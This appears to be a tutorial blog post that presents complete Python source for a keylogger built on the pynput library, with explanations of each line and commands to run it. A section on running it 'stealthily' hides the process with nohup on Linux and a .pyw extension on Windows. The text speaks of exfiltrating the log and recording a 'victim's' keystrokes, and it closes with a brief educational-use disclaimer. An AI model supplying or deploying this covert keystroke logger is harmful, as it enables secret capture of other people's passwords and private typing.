Creating a Python Keylogger in 10 Lines of Code

Writing A Keylogger In 10 Lines

Today we’re going to work on building a Python Keylogger. Keyloggers are one of the most common tools in a Hacker’s toolbox. They are infact one of the most basic tools and are quiet easy to make. In this module, we are going to learn how to code a very effective, yet precise keylogger.

Installing Required Libraries

Before we begin, we need to install a particular library, which we can do with the pip command:

$ sudo pip3 install pynput

With this out of the way, we can continue writing our code!

Implementing a Python Keylogger in just 10 Lines

from pynput.keyboard import Key, Listener
import logging

logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener :
    listener.join()

Explaining The Code

I won’t keep you hanging with just the code. Let’s understand what each line does so you are all set to build your own!

Lines 1-2: Importing Required Libraries

from pynput.keyboard import Key, Listener
import logging

We’ll be needing the following Libraries for our code to work:

  • pynput: This will help us read the keystrokes as the user types in stuff
  • logging: This will log the key strokes into a file which we can later exfiltrate by suitable means

Line 4: Basic Log Configuration

logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

Here, we create basic configuration for the logging system. We specify the filename where keystrokes will be recorded as keylog.txt followed by specifying the format in which the keystrokes will be stored, which in this case would be :

YY-MM-DD HH-MM-SS(ms) - KEY

Line 6-7: Defining Our Function

def on_press(key):
    logging.info(str(key))

The function defined here takes an argument indicating the key pressed by the user and logs it into the file after converting it into a string.

Line 9-10: Getting Key Strokes

with Listener(on_press=on_press) as listener :
    listener.join()

First, here we create an instance of a Listener which would be recording key strokes and pass the function we created as an argument. Then we use the .join() method to join it to the main thread.

Thus everytime a key is pressed, the listener is triggered and it calls our function which then logs our keystrokes into the file.

Running Our Python Keylogger

You can run the program with:

$ python3 keylogger.py

After launching the program we would notice a new file keylog.txt created in the current directory.

Running Our Code for Python Keylogger
Running Our Code
Captured KeyStrokes Python Keylogger
Captured KeyStrokes

Stealthily Running our Python Keylogger

As you can see, the last method of running our code wasn’t very stealthy, so to make it a bit more effective we can employ the following tricks.

On Linux/Unix

To run the code without anyone noticing, you can simply run it as:

$ nohup python3 keylogger.py &

This will let the code run even after the terminal closes while still recording the keystrokes !

On Windows

On Windows, you can simply rename the file extension from .py to .pyw and then double click on the file to run it without a terminal popping up. The program then runs in the background, logging every key press henceforth.

Conclusion

Hence we coded a short yet effective Python Keylogger to record a victim’s keystrokes. However, it is strictly for educational purposes and it shouldn’t be employed for malicious purposes.

References – Pynput module official documentation